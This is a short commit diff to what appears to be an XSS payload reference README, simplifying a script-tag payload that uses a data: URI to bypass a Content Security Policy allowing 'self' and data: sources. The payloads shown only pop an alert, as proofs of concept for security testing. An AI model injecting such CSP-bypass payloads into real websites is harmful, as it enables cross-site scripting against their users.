Update XSS README.md

Remove unnecessary complexity from CSP bypass payload
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Markus 2021-10-01 16:10:23 +02:00 committed by GitHub
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@ -1072,10 +1072,10 @@ Works for CSP like `script-src self`
### Bypass CSP by [@404death](https://twitter.com/404death/status/1191222237782659072)
Works for CSP like `script-src 'self' data:`
Works for CSP like `script-src 'self' data:` as warned about in the official [mozilla documentation](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src).
```javascript
<script ?/src="data:+,\u0061lert%281%29">/</script>
<script src="data:,alert(1)">/</script>
```